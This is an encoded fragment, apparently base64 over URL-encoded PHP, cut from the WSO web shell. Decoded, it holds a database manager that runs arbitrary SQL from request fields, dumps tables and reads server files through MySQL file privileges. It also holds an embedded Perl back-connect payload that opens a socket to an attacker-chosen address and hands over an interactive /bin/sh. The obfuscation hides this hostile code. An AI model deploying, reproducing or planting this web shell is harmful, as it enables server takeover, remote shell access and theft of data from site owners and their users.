Gl0ZW0lMjAlM0QlMjAlMjRkYi0lM0VmZXRjaCUyOCUyNHRibHNfcmVzJTI5JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGlzdCUyOCUyNGtleSUyQyUyMCUyNHZhbHVlJTI5JTIwJTNEJTIwZWFjaCUyOCUyNGl0ZW0lMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpZiUyOCUyMWVtcHR5JTI4JTI0X1BPU1QlNUIlMjdzcWxfY291bnQlMjclNUQlMjklMjklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRuJTIwJTNEJTIwJTI0ZGItJTNFZmV0Y2glMjglMjRkYi0lM0VxdWVyeSUyOCUyN1NFTEVDVCUyMENPVU5UJTI4KiUyOSUyMGFzJTIwbiUyMEZST00lMjAlMjcuJTI0dmFsdWUuJTI3JTI3JTI5JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0dmFsdWUlMjAlM0QlMjBodG1sc3BlY2lhbGNoYXJzJTI4JTI0dmFsdWUlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTIyJTNDbm9iciUzRSUzQ2lucHV0JTIwdHlwZSUzRCUyN2NoZWNrYm94JTI3JTIwbmFtZSUzRCUyN3RibCU1QiU1RCUyNyUyMHZhbHVlJTNEJTI3JTIyLiUyNHZhbHVlLiUyMiUyNyUzRSUyNm5ic3AlM0IlM0NhJTIwaHJlZiUzRCUyMyUyMG9uY2xpY2slM0QlNUMlMjJzdCUyOCUyNyUyMi4lMjR2YWx1ZS4lMjIlMjclMkMxJTI5JTVDJTIyJTNFJTIyLiUyNHZhbHVlLiUyMiUzQy9hJTNFJTIyJTIwLiUyMCUyOGVtcHR5JTI4JTI0X1BPU1QlNUIlMjdzcWxfY291bnQlMjclNUQlMjklM0YlMjclMjZuYnNwJTNCJTI3JTNBJTIyJTIwJTNDc21hbGwlM0UlMjglN0IlMjRuJTVCJTI3biUyNyU1RCU3RCUyOSUzQy9zbWFsbCUzRSUyMiUyOSUyMC4lMjAlMjIlM0Mvbm9iciUzRSUzQ2JyJTNFJTIyJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyMiUzQ2lucHV0JTIwdHlwZSUzRCUyN2NoZWNrYm94JTI3JTIwb25jbGljayUzRCUyN2lzJTI4JTI5JTNCJTI3JTNFJTIwJTNDaW5wdXQlMjB0eXBlJTNEYnV0dG9uJTIwdmFsdWUlM0QlMjdEdW1wJTI3JTIwb25jbGljayUzRCUyN2RvY3VtZW50LnNmLnAyLnZhbHVlJTNEJTVDJTIyZG93bmxvYWQlNUMlMjIlM0Jkb2N1bWVudC5zZi5zdWJtaXQlMjglMjklM0IlMjclM0UlM0NiciUzRUZpbGUlMjBwYXRoJTNBJTNDaW5wdXQlMjB0eXBlJTNEdGV4dCUyMG5hbWUlM0RmaWxlJTIwdmFsdWUlM0QlMjdkdW1wLnNxbCUyNyUzRSUzQy90ZCUzRSUzQ3RkJTIwc3R5bGUlM0QlMjdib3JkZXItdG9wJTNBMnB4JTIwc29saWQlMjAlMjM2NjYlM0IlMjclM0UlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpZiUyOEAlMjRfUE9TVCU1QiUyN3AxJTI3JTVEJTIwJTNEJTNEJTIwJTI3c2VsZWN0JTI3JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0X1BPU1QlNUIlMjdwMSUyNyU1RCUyMCUzRCUyMCUyN3F1ZXJ5JTI3JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0X1BPU1QlNUIlMjdwMyUyNyU1RCUyMCUzRCUyMCUyNF9QT1NUJTVCJTI3cDMlMjclNUQlM0YlMjRfUE9TVCU1QiUyN3AzJTI3JTVEJTNBMSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGRiLSUzRXF1ZXJ5JTI4JTI3U0VMRUNUJTIwQ09VTlQlMjgqJTI5JTIwYXMlMjBuJTIwRlJPTSUyMCUyNyUyMC4lMjAlMjRfUE9TVCU1QiUyN3AyJTI3JTVEJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0bnVtJTIwJTNEJTIwJTI0ZGItJTNFZmV0Y2glMjglMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRwYWdlcyUyMCUzRCUyMGNlaWwlMjglMjRudW0lNUIlMjduJTI3JTVEJTIwLyUyMDMwJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyMiUzQ3NjcmlwdCUzRWQuc2Yub25zdWJtaXQlM0RmdW5jdGlvbiUyOCUyOSU3QnN0JTI4JTVDJTIyJTIyJTIwLiUyMCUyNF9QT1NUJTVCJTI3cDIlMjclNUQlMjAuJTIwJTIyJTVDJTIyJTJDJTIwZC5zZi5wMy52YWx1ZSUyOSU3RCUzQy9zY3JpcHQlM0UlM0NzcGFuJTNFJTIyLiUyNF9QT1NUJTVCJTI3cDIlMjclNUQuJTIyJTNDL3NwYW4lM0UlMjAlMjglN0IlMjRudW0lNUIlMjduJTI3JTVEJTdEJTIwcmVjb3JkcyUyOSUyMFBhZ2UlMjAlMjMlMjAlM0NpbnB1dCUyMHR5cGUlM0R0ZXh0JTIwbmFtZSUzRCUyN3AzJTI3JTIwdmFsdWUlM0QlMjIlMjAuJTIwJTI4JTI4aW50JTI5JTI0X1BPU1QlNUIlMjdwMyUyNyU1RCUyOSUyMC4lMjAlMjIlM0UlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTIyJTIwb2YlMjAlMjRwYWdlcyUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmJTI4JTI0X1BPU1QlNUIlMjdwMyUyNyU1RCUyMCUzRSUyMDElMjklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTIyJTIwJTNDYSUyMGhyZWYlM0QlMjMlMjBvbmNsaWNrJTNEJTI3c3QlMjglNUMlMjIlMjIlMjAuJTIwJTI0X1BPU1QlNUIlMjdwMiUyNyU1RCUyMC4lMjAlMjclMjIlMkMlMjAlMjclMjAuJTIwJTI4JTI0X1BPU1QlNUIlMjdwMyUyNyU1RC0xJTI5JTIwLiUyMCUyMiUyOSUyNyUzRSUyNmx0JTNCJTIwUHJldiUzQy9hJTNFJTIyJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjRfUE9TVCU1QiUyN3AzJTI3JTVEJTIwJTNDJTIwJTI0cGFnZXMlMjklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTIyJTIwJTNDYSUyMGhyZWYlM0QlMjMlMjBvbmNsaWNrJTNEJTI3c3QlMjglNUMlMjIlMjIlMjAuJTIwJTI0X1BPU1QlNUIlMjdwMiUyNyU1RCUyMC4lMjAlMjclMjIlMkMlMjAlMjclMjAuJTIwJTI4JTI0X1BPU1QlNUIlMjdwMyUyNyU1RCsxJTI5JTIwLiUyMCUyMiUyOSUyNyUzRU5leHQlMjAlMjZndCUzQiUzQy9hJTNFJTIyJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0X1BPU1QlNUIlMjdwMyUyNyU1RC0tJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjRfUE9TVCU1QiUyN3R5cGUlMjclNUQlM0QlM0QlMjdwZ3NxbCUyNyUyOSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNF9QT1NUJTVCJTI3cDIlMjclNUQlMjAlM0QlMjAlMjdTRUxFQ1QlMjAqJTIwRlJPTSUyMCUyNy4lMjRfUE9TVCU1QiUyN3AyJTI3JTVELiUyNyUyMExJTUlUJTIwMzAlMjBPRkZTRVQlMjAlMjcuJTI4JTI0X1BPU1QlNUIlMjdwMyUyNyU1RCozMCUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGVsc2UlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRfUE9TVCU1QiUyN3AyJTI3JTVEJTIwJTNEJTIwJTI3U0VMRUNUJTIwKiUyMEZST00lMjAlNjAlMjcuJTI0X1BPU1QlNUIlMjdwMiUyNyU1RC4lMjclNjAlMjBMSU1JVCUyMCUyNy4lMjglMjRfUE9TVCU1QiUyN3AzJTI3JTVEKjMwJTI5LiUyNyUyQzMwJTI3JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyMiUzQ2JyJTNFJTNDYnIlM0UlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpZiUyOCUyOEAlMjRfUE9TVCU1QiUyN3AxJTI3JTVEJTIwJTNEJTNEJTIwJTI3cXVlcnklMjclMjklMjAlMjYlMjYlMjAlMjFlbXB0eSUyOCUyNF9QT1NUJTVCJTI3cDIlMjclNUQlMjklMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRkYi0lM0VxdWVyeSUyOEAlMjRfUE9TVCU1QiUyN3AyJTI3JTVEJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjRkYi0lM0VyZXMlMjAlMjElM0QlM0QlMjBmYWxzZSUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHRpdGxlJTIwJTNEJTIwZmFsc2UlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTI3JTNDdGFibGUlMjB3aWR0aCUzRDEwMCUyNSUyMGNlbGxzcGFjaW5nJTNEMSUyMGNlbGxwYWRkaW5nJTNEMiUyMGNsYXNzJTNEbWFpbiUyMHN0eWxlJTNEJTIyYmFja2dyb3VuZC1jb2xvciUzQSUyMzI5MjkyOSUyMiUzRSUyNyUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGxpbmUlMjAlM0QlMjAxJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2hpbGUlMjglMjRpdGVtJTIwJTNEJTIwJTI0ZGItJTNFZmV0Y2glMjglMjklMjklMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpZiUyOCUyMSUyNHRpdGxlJTI5JTIwJTIwJTIwJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyNyUzQ3RyJTNFJTI3JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZm9yZWFjaCUyOCUyNGl0ZW0lMjBhcyUyMCUyNGtleSUyMCUzRCUzRSUyMCUyNHZhbHVlJTI5JTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyNyUzQ3RoJTNFJTI3LiUyNGtleS4lMjclM0MvdGglM0UlMjclM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXNldCUyOCUyNGl0ZW0lMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjR0aXRsZSUzRHRydWUlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTI3JTNDL3RyJTNFJTNDdHIlM0UlMjclM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRsaW5lJTIwJTNEJTIwMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGVjaG8lMjAlMjclM0N0ciUyMGNsYXNzJTNEJTIybCUyNy4lMjRsaW5lLiUyNyUyMiUzRSUyNyUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGxpbmUlMjAlM0QlMjAlMjRsaW5lJTNEJTNEMSUzRjIlM0ExJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZm9yZWFjaCUyOCUyNGl0ZW0lMjBhcyUyMCUyNGtleSUyMCUzRCUzRSUyMCUyNHZhbHVlJTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjR2YWx1ZSUyMCUzRCUzRCUyMG51bGwlMjklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTI3JTNDdGQlM0UlM0NpJTNFbnVsbCUzQy9pJTNFJTNDL3RkJTNFJTI3JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWxzZSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGVjaG8lMjAlMjclM0N0ZCUzRSUyNy5ubDJiciUyOGh0bWxzcGVjaWFsY2hhcnMlMjglMjR2YWx1ZSUyOSUyOS4lMjclM0MvdGQlM0UlMjclM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTI3JTNDL3RyJTNFJTI3JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyNyUzQy90YWJsZSUzRSUyNyUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyMGVsc2UlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTI3JTNDZGl2JTNFJTNDYiUzRUVycm9yJTNBJTNDL2IlM0UlMjAlMjcuaHRtbHNwZWNpYWxjaGFycyUyOCUyNGRiLSUzRWVycm9yJTI4JTI5JTI5LiUyNyUzQy9kaXYlM0UlMjclM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTIyJTNDYnIlM0UlM0MvZm9ybSUzRSUzQ2Zvcm0lMjBvbnN1Ym1pdCUzRCUyN2Quc2YucDEudmFsdWUlM0QlNUMlMjJxdWVyeSU1QyUyMiUzQmQuc2YucDIudmFsdWUlM0R0aGlzLnF1ZXJ5LnZhbHVlJTNCZG9jdW1lbnQuc2Yuc3VibWl0JTI4JTI5JTNCcmV0dXJuJTIwZmFsc2UlM0IlMjclM0UlM0N0ZXh0YXJlYSUyMG5hbWUlM0QlMjdxdWVyeSUyNyUyMHN0eWxlJTNEJTI3d2lkdGglM0ExMDAlMjUlM0JoZWlnaHQlM0ExMDBweCUyNyUzRSUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmJTI4JTIxZW1wdHklMjglMjRfUE9TVCU1QiUyN3AyJTI3JTVEJTI5JTIwJTI2JTI2JTIwJTI4JTI0X1BPU1QlNUIlMjdwMSUyNyU1RCUyMCUyMSUzRCUyMCUyN2xvYWRmaWxlJTI3JTI5JTI5JTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMGh0bWxzcGVjaWFsY2hhcnMlMjglMjRfUE9TVCU1QiUyN3AyJTI3JTVEJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMCUyMiUzQy90ZXh0YXJlYSUzRSUzQ2JyLyUzRSUzQ2lucHV0JTIwdHlwZSUzRHN1Ym1pdCUyMHZhbHVlJTNEJTI3RXhlY3V0ZSUyNyUzRSUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGVjaG8lMjAlMjIlM0MvdGQlM0UlM0MvdHIlM0UlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTIyJTNDL3RhYmxlJTNFJTNDL2Zvcm0lM0UlM0Nici8lM0UlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpZiUyOCUyNF9QT1NUJTVCJTI3dHlwZSUyNyU1RCUzRCUzRCUyN215c3FsJTI3JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0ZGItJTNFcXVlcnklMjglMjJTRUxFQ1QlMjAxJTIwRlJPTSUyMG15c3FsLnVzZXIlMjBXSEVSRSUyMGNvbmNhdCUyOCU2MHVzZXIlNjAlMkMlMjAlMjdAJTI3JTJDJTIwJTYwaG9zdCU2MCUyOSUyMCUzRCUyMFVTRVIlMjglMjklMjBBTkQlMjAlNjBGaWxlX3ByaXYlNjAlMjAlM0QlMjAlMjd5JTI3JTIyJTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjglMjRkYi0lM0VmZXRjaCUyOCUyOSUyOSUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGVjaG8lMjAlMjIlM0Nmb3JtJTIwb25zdWJtaXQlM0QlMjdkLnNmLnAxLnZhbHVlJTNEJTVDJTIybG9hZGZpbGUlNUMlMjIlM0Jkb2N1bWVudC5zZi5wMi52YWx1ZSUzRHRoaXMuZi52YWx1ZSUzQmRvY3VtZW50LnNmLnN1Ym1pdCUyOCUyOSUzQnJldHVybiUyMGZhbHNlJTNCJTI3JTNFJTNDc3BhbiUzRUxvYWQlMjBmaWxlJTNDL3NwYW4lM0UlMjAlM0NpbnB1dCUyMCUyMGNsYXNzJTNEJTI3dG9vbHNJbnAlMjclMjB0eXBlJTNEdGV4dCUyMG5hbWUlM0RmJTNFJTNDaW5wdXQlMjB0eXBlJTNEc3VibWl0JTIwdmFsdWUlM0QlMjclM0UlM0UlMjclM0UlM0MvZm9ybSUzRSUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlmJTI4QCUyNF9QT1NUJTVCJTI3cDElMjclNUQlMjAlM0QlM0QlMjAlMjdsb2FkZmlsZSUyNyUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGZpbGUlMjAlM0QlMjAlMjRkYi0lM0Vsb2FkRmlsZSUyOCUyNF9QT1NUJTVCJTI3cDIlMjclNUQlMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBlY2hvJTIwJTI3JTNDYnIvJTNFJTNDcHJlJTIwY2xhc3MlM0RtbDElM0UlMjcuaHRtbHNwZWNpYWxjaGFycyUyOCUyNGZpbGUlNUIlMjdmaWxlJTI3JTVEJTI5LiUyNyUzQy9wcmUlM0UlMjclM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlN0QlMjBlbHNlJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwZWNobyUyMGh0bWxzcGVjaWFsY2hhcnMlMjglMjRkYi0lM0VlcnJvciUyOCUyOSUyOSUzQiUwQSUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMGVjaG8lMjAlMjclM0MvZGl2JTNFJTI3JTNCJTBBJTIwJTIwJTIwJTIwd3NvRm9vdGVyJTI4JTI5JTNCJTBBJTdEJTBBZnVuY3Rpb24lMjBhY3Rpb25OZXR3b3JrJTI4JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwd3NvSGVhZGVyJTI4JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTI0YmFja19jb25uZWN0X3AlM0QlMjJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5z